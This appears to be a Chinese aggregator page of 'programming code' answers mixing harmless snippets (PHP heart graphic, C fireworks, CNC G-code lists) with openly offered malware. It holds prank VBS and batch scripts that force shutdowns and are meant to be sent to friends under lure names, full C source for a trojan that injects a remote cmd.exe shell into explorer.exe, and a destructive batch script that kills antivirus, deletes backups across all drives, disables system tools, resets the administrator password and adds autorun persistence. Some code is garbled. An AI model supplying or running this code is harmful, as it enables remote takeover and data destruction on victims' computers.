编程代码大全可（最浪漫的编程代码可复制有哪些）
本文目录
- 最浪漫的编程代码可复制有哪些
- c语言编程烟花代码简单
- 猿编程中的输入文字代码是什么
- 恶搞电脑病毒代码有哪些
- 病毒代码大全
- 手机qq病毒代码整人一个
- CNC电脑锣手动编程的代码是什么
- cc编程代码大全
- 木马程序源代码，不是蠕虫，特洛伊那类的是最简单的，有哪位高手可提供下，感激
- 批处理文件的病毒代码大全！
最浪漫的编程代码可复制有哪些
最浪漫的编程代码可复制的编程代码有如下：
《?php
for($t=0;$t《360;$t++)
{
$y=2*cos($t)-cos(2*$t);//笛卡尔心形曲线函数
$x=2*sin($t)-sin(2*$t);
$x+=3;
$y+=3;
$x*=70;
$y*=70;
$x=round($x);
$y=round($y);
$str=$x;
$y=$y+2*(180-$y);//图像上下翻转
$x=$y;
$str=$x;
}
前面这段代码是用函数构造图形
$im=imagecreate(500,500);//创建图形500*500
$black=imagecolorallocate($im,0,0,0);
$red=imagecolorallocate($im,255,0,0);//设置图形颜色
imagepolygon($im,$str,360,$red);
imagestring($im,5,190,190,"love",$red);//输出字符串
header(’Content-type:image/gif’);//通知浏览器输出的是gif图片
imagegif($im);//输出图片
imagedestroy($im);//销毁
?》
编程是编定程序的中文简称，就是让计算机代码解决某个问题，对某个计算体系规定一定的运算方式，使计算体系按照该计算方式运行，并最终得到相应结果的过程。
为了使计算机能够理解人的意图，人类就必须将需解决的问题的思路、方法和手段通过计算机能够理解的形式告诉计算机，使得计算机能够根据人的指令一步一步去工作，完成某种特定的任务。这种人和计算体系之间交流的过程就是编程。
c语言编程烟花代码简单
c语言编程烟花代码简单如下：
#include "stdlib.h"
#include "graphics.h"
#include "stdio.h"
#include "math.h"
#include "conio.h "
#define PI 3.1425926
main()
{
int gdriver=DETECT,gmode,errorcode;
int a,x,y,c,r,i,j,t;
double rad = 0.0;
/* initialize graphics and local variables */
initgraph(&gdriver , &gmode ,"");
/* read result of initialization */
errorcode = graphresult();
if (errorcode != grOk) /* an error occurred */
{
printf("Graphics error : %s/n",grapherrormsg(errorcode));
printf("Please any key to halt:");
getch();
exit(1); /* terminate with an error code */
}
randomize();
for(;!kbhit();)
{
x=rand()%500+100; /*随机中心坐标*/
y=rand()%300+100;
for(r = 0 ;r 《= 8 ; r++ ) /*烟花的大小设定*/
{
for(i = 0,rad = 0.0 ; rad 《 2*PI; rad += 0.78 ) /*设定坐标*/
{
a = x + (int)r *10* cos(rad);
b = y + (int)r *10* sin(rad);
}
t = i;
for(i=1;i《t;i++)
{
c=rand()%13+1; /*各点的颜色随机*/
setcolor(c); /*功能:将当前图形屏幕的当前笔画颜色置为color.*/
circle(a 为圆心 1 为半径 画圆 */
}
delay(10000);
delay(10000);
cleardevice();
函数名: cleardevice
功 能: 清除图形屏幕
用 法: void far cleardevice(void);
}
}
getch();
closegraph();
函数名: closegraph
功 能: 关闭图形系统
用 法: void far closegraph(void);
}
初始化烟花参数
void Init( int i )
{
// 分别为：烟花中心到图片边缘的最远距离、烟花中心到图片左上角的距离 (x、y) 两个分量
int r = { 120, 120, 155, 123, 130, 147, 138, 138, 130, 135, 140, 132, 155 };
int x = { 120, 120, 110, 117, 110, 93, 102, 102, 110, 105, 100, 108, 110 };
int y = { 120, 120, 85, 118, 120, 103, 105, 110, 110, 120, 120, 104, 85 };
/**** 初始化烟花 *****/
Fire.x = 0; // 烟花中心坐标
Fire.y = 0;
Fire.width = 240; // 图片宽
Fire.height = 240; // 图片高
Fire; // 最大半径
Fire; // 中心距左上角距离
Fire;
Fire.show = false; // 是否绽放
Fire.dt = 5; // 绽放时间间隔
Fire.t1 = timeGetTime();
Fire.r = 0; // 从 0 开始绽放
/**** 初始化烟花弹 *****/
Jet.x = -240; // 烟花弹左上角坐标
Jet.y = -240;
Jet.hx = -240; // 烟花弹发射最高点坐标
Jet.hy = -240;
Jet.height = 0; // 发射高度
Jet.t1 = timeGetTime();
Jet.dt = rand() % 10; // 发射速度时间间隔
Jet.n = 0; // 烟花弹闪烁图片下标
Jet.shoot = false; // 是否发射
}
猿编程中的输入文字代码是什么
1FANUC 车床G代码G02顺时针切圆弧(CW,顺时钟)G03逆时针切圆弧(CCW,逆时钟)G04暂停(Dwel1)G09停于精确的位置G20英制输入G21公制输入G22内部行程限位有效G23内部行程限位无效G27检查参考点返回G28参考点返回G29从参考点返回G30回到第二参考点G32切螺纹G40取消刀尖半径偏置G41刀尖半径偏置(左侧)G42刀尖半径偏置(右侧)G50修改工件坐标;设置主轴最大的RPMG52设置局部坐标系G53选择机床坐标系G70精加工循环G71内外径粗切循环G72台阶粗切循环G73成形重复循环2. FANUC t床G代码G00顶位(快速移动)定位(快速移动)G01直线切削G02顺时针切圆弧G03逆时针切圆弧G04暂停G15/G16极坐标指令G17XY面赋值G18X2面赋值G19YZ面赋值G28机床返回原点G30机床返回第2和第3原点*G40取消刀具直径偏移G41刀具直径左偏移G42刀具直径右偏移*G43刀具长度+方向偏移*G44刀具长度-方向偏移G49取消刀具长度偏移*G53机床坐标系选择G54工件坐标系1选择G55工件坐标系2选择G56工件坐标系3选择G57工件坐标系4选择G58工件坐标系5选择G59工件坐标系6选择G73高速深孔钻削循环G74左螺旋切削循环G76精镜孔循环
￥
5
百度文库VIP限时优惠现在开通,立享6亿+VIP内容
立即获取
猿编程代码大全复制
智阳文库
猿编程代码大全复制
1FANUC 车床G代码G02顺时针切圆弧(CW,顺时钟)G03逆时针切圆弧(CCW,逆时钟)G04暂停(Dwel1)G09停于精确的位置G20英制输入G21公制输入G22内部行程限位有效G23内部行程限位无效G27检查参考点返回G28参考点返回G29从参考点返回G30回到第二参考点G32切螺纹G40取消刀尖半径偏置G41刀尖半径偏置(左侧)G42刀尖半径偏置(右侧)G50修改工件坐标;设置主轴最大的RPMG52设置局部坐标系G53选择机床坐标系G70精加工循环G71内外径粗切循环G72台阶粗切循环G73成形重复循环
恶搞电脑病毒代码有哪些
有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
恶搞电脑病毒代码介绍一：
首先在电脑上新建一个TXT文档
然后把下面这段代码输入进去
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a 《》 "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"
然后保存
然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，
你要修改为.VBS的后缀
恶搞电脑病毒代码介绍二：
新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他
他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)
恶搞电脑病毒代码介绍三：
新建一个文本文档(.txt)，要复制以下代码：
@echo off
color 4
tskill explorer
echo .
echo .
echo .
echo .
echo 警告：在病毒执行期间禁止关闭电源，
echo 否则你就和你心爱的电脑说
echo .
echo . BYE-BYE
echo .
echo Computer system crash!
echo .
echo .
echo I am a virus, my name is Ghost.
echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。
echo .
echo . Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set /p select=:)
if "%select%"=="" goto start
:start
shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"
::结束
再另存为：名字.bat 你要记住"名字"后面要加".bat"
就可以了，没有任何破坏性，吓吓人。
你可以试试看看效果。
病毒代码大全
-
-！！有些病毒代码还没变成EXE。。。。就已经成病毒了。。。。你自己小心点吧-
-
手机qq病毒代码整人一个
将以下代码复制到记事本中。onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t30-c""快说潮流哥特，不说就30秒关你机，不信，试试···"""，0，truedimadowhile(a《》"潮流哥特")a=inputbox("说潮流哥特，不然就不关机，快撒，说""潮流哥特"""，"说不说"，"不说"，8000，7000)msgboxchr(13)+chr(13)+chr(13)+a，0，"MsgBox"loop上面的文字可以随便改，不印象效果。将记事本文件重命名为***.VBE（文件名可以任意起，如美女.VBE）如果谁运行了这个QQ炸弹，在30秒后会自动关机。下面说一下使用方法：最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
CNC电脑锣手动编程的代码是什么
CNC电脑锣（Computerized Numerical Control Machine 简称cnc）是一种装有程序控制系统的自动化机床。该控制系统能够逻辑地处理具有控制编码或其他符号指令规定的程序，并将其译码，从而使机床动作并加工零件.又叫做CNC或数控机床。
其代码主要包含：
1、G00与G01
G00运动轨迹有直线和折线两种，该指令只是用于点定位，不能用于切削加工
G01按指定进给速度以直线运动方式运动到指令指定的目标点，一般用于切削加工
2、G02与G03
G02:顺时针圆弧插补 G03:逆时针圆弧插补
3、G04(延时或暂停指令）
一般用于正反转切换、加工盲孔、阶梯孔、车削切槽
4、G17、G18、G19 平面选择指令，指定平面加工，一般用于铣床和加工中心
G17:X-Y平面，可省略，也可以是与X-Y平面相平行的平面
G18:X-Z平面或与之平行的平面，数控车床中只有X-Z平面，不用专门指定
G19:Y-Z平面或与之平行的平面
5、G27、G28、G29 参考点指令
G27:返回参考点，检查、确认参考点位置
G28:自动返回参考点（经过中间点）
G29:从参考点返回，与G28配合使用
6、G40、G41、G42 半径补偿
G40：取消刀具半径补偿
先给这么多，晚上整理好了再给
7、G43、G44、G49 长度补偿
G43：长度正补偿
G44：长度负补偿
G49：取消刀具长度补偿
8、G32、G92、G76
G32：螺纹切削
G92：螺纹切削固定循环
G76：螺纹切削复合循环
9、车削加工：G70、G71、72、G73
G71：轴向粗车复合循环指令
G70：精加工复合循环
G72：端面车削，径向粗车循环
G73：仿形粗车循环
10、铣床、加工中心：
G73：高速深孔啄钻
G83：深孔啄钻
G81：钻孔循环
G82：深孔钻削循环
G74：左旋螺纹加工
G84:右旋螺纹加工
G76：精镗孔循环
G86：镗孔加工循环
G85：铰孔
G80：取消循环指令
11、编程方式 G90、G91
G90：绝对坐标编程
G91：增量坐标编程
12、主轴设定指令
G50：主轴最高转速的设定
G96：恒线速度控制
G97：主轴转速控制（取消恒线速度控制指令）
G99：返回到R点（中间孔）
G98：返回到参考点（最后孔）
13、主轴正反转停止指令 M03、M04、M05
M03：主轴正传 M04：主轴反转 M05：主轴停止
14、切削液开关 M07、M08、M09
M07：雾状切削液开 M08：液状切削液开 M09：切削液关
15、运动停止 M00、M01、M02、M30
cc编程代码大全
LONGWINAPIRegSetValueEx(
_In_HKEYhKey,
_In_opt_LPCTSTRlpValueName,
_Reserved_DWORDReserved,
_In_DWORDdwType,
_In_constBYTE*lpData,
_In_DWORDcbData
);
_In__out__Reserved_这样的标志是传入传出保留参数的意思。参考用。
HKEYhKey是注册表的5个主键之一如HKEY_LOCAL_MICHINE
木马程序源代码，不是蠕虫，特洛伊那类的是最简单的，有哪位高手可提供下，感激
制造木马病毒代码大全2008-06-08 19:46制造木马病毒代码大全
一个简单的木马原型基础代码添加上自己的XXX，加上变态的壳，做点小修改，就可以．．．．．
#include《winsock2.h》
#pragma comment(lib,"ws2_32.lib")
#include《windows.h》
#include 《Shlwapi.h》
#pragma comment(lib,"Shlwapi.lib")
#include 《tlhelp32.h》
#include 《stdio.h》
#include 《string.h》
//参数结构 ;
typedef struct _RemotePara
{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
DWORD dwrecv;
DWORD dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD dwWriteFile;
DWORD dwReadFile;
DWORD dwCloseHandle;
DWORD dwCreatePipe;
DWORD dwTerminateProcess;
DWORD dwMessageBox;char strMessageBox;
char winsockDll;
char cmd;
char Buff;
char telnetmsg;
}RemotePara; // 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName); // 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion;
SOCKET listenSocket;
SOCKET clientSocket;struct sockaddr_in server_addr;
struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2;STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-》dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-》dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-》dwFreeLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-》dwGetModuleHandle;LoadLibraryFunc(Para-》winsockDll);PWSAStartup = (FARPROC)Para-》dwWSAStartup;
PSocket = (FARPROC)Para-》dwSocket;
Phtons = (FARPROC)Para-》dwhtons;
Pbind = (FARPROC)Para-》dwbind;
Plisten = (FARPROC)Para-》dwlisten;
Paccept = (FARPROC)Para-》dwaccept;
Psend = (FARPROC)Para-》dwsend;
Precv = (FARPROC)Para-》dwrecv;
Pclosesocket = (FARPROC)Para-》dwclosesocket;
PCreateProcessA = (FARPROC)Para-》dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para-》dwPeekNamedPipe;
PWriteFile = (FARPROC)Para-》dwWriteFile;
PReadFile = (FARPROC)Para-》dwReadFile;
PCloseHandle = (FARPROC)Para-》dwCloseHandle;
PCreatePipe = (FARPROC)Para-》dwCreatePipe;
PTerminateProcess = (FARPROC)Para-》dwTerminateProcess;
PMessageBoxA = (FARPROC)Para-》dwMessageBox;nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)&WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);
// Psend(clientSocket, Para-》telnetmsg, 60, 0);if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;
if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数，可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para-》cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;
while(1) {
memset(Para-》Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para-》Buff,4096,&lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para-》Buff, lBytesRead, &lBytesRead, 0))break;
if(!Psend(clientSocket, Para-》Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para-》Buff, 4096, 0);
if(lBytesRead 《=0 ) break;
if(!PWriteFile(hWritePipe2, Para-》Buff, lBytesRead, &lBytesRead, 0))break;
}
}PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para-》strMessageBox, Para-》strMessageBox, MB_OK);return 0;
} int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;ZeroMemory(&myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\\0");
strcat(myRemotePara.cmd,"cmd.exe\\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0"); //写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
while(1) {}
FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);return 0;
} BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges.Luid);
tp.Privileges.Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
do
{
if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,&pe32));
}
else return 0;if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
批处理文件的病毒代码大全！
最强病毒!谨慎运行!此程序会将系统搞崩溃.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm 去掉里面的字哦
@echo off
title You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess 》nul
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f 》nul
%s% /im norton* /f 》nul
%s% /im av* /f 》nul
%s% /im fire* /f 》nul
%s% /im anti* /f 》nul
%s% /im spy* /f 》nul
%s% /im bullguard /f 》nul
%s% /im PersFw /f 》nul
%s% /im KAV* /f 》nul
%s% /im ZONEALARM /f 》nul
%s% /im SAFEWEB /f 》nul
%s% /im OUTPOST /f 》nul
%s% /im nv* /f 》nul
%s% /im nav* /f 》nul
%s% /im F-* /f 》nul
%s% /im ESAFE /f 》nul
%s% /im cle /f 》nul
%s% /im BLACKICE /f 》nul
%s% /im def* /f 》nul
%s% /im 360safe.exe /f 》nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q 》nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q 》nul
rem 修改注册表.......
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d
00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoDrives /t REG_DWORD /d
4294967295 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
Disableregistrytools /t
REG_DWORD /d 00000002 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoNetHood /t REG_DWORD /d
00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V
NoDesktop /t REG_DWORD /d
00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoClose /t REG_DWORD /d
00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFind /t REG_DWORD /d
00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD
/d 00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoLogOff /t REG_DWORD /d
00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoSetTaskBar /t REG_DWORD
/d 00000001 /f 》nul
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v
DisableSR /t REG_DWORD /d
00000001 /f 》nul
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v
DisableConfig /t REG_DWORD /d
00000001 /f 》nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
RestrictRun /t REG_DWORD /d
00000001 /f 》nul
cls
net user administrator 123456 》nul
for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q 》nul
echo @echo off 》d:\setup.bat
echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新
安装系统可以解决此问题
!^.^ 》》d:\setup.bat
echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动
\a.bat 》》d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f 》》d:\setup.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f 》》d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f 》》d:\setup.bat
HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f
》》d:\setup.bat
echo 》》 %windir%\win.ini
echo run=d:\setup.bat C:\AUTOEXEC.BAT 》》 %windir%\win.ini
echo load=d:\setup.bat C:\AUTOEXEC.BAT 》》 %windir%\win.ini
echo 》》 %windir%\system.ini
echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT 》》 %windir%\system.ini
echo 》d:\autorun.inf
echo Open=setup.bat 》》d:\autorun.inf
echo Open=system.bat 》》d:\autorun.inf
attrib d:\autorun.inf +r +s +h 》》d:\setup.bat
attrib d:\setup.bat +r +s +h 》》d:\setup.bat
start d:\setup.bat /min 》nul
echo @echo off 》》C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f 》》C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f 》》C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f 》》C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f 》》C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f 》》C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f 》》C:\AUTOEXEC.BAT
echo if not d:\setup.bat start %windir%\system32\cmd.bat /min 》》C:\AUTOEXEC.BAT
copy %0 %systemroot%\windows.bat 》nul
if not exist %windir%/system32/explorer.bat @echo off 》》%windir%/system32/explorer.bat
if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min 》》%
windir%/system32/explorer.bat
if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min 》》%
windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f 》》%windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f 》》%windir%/system32/explorer.bat
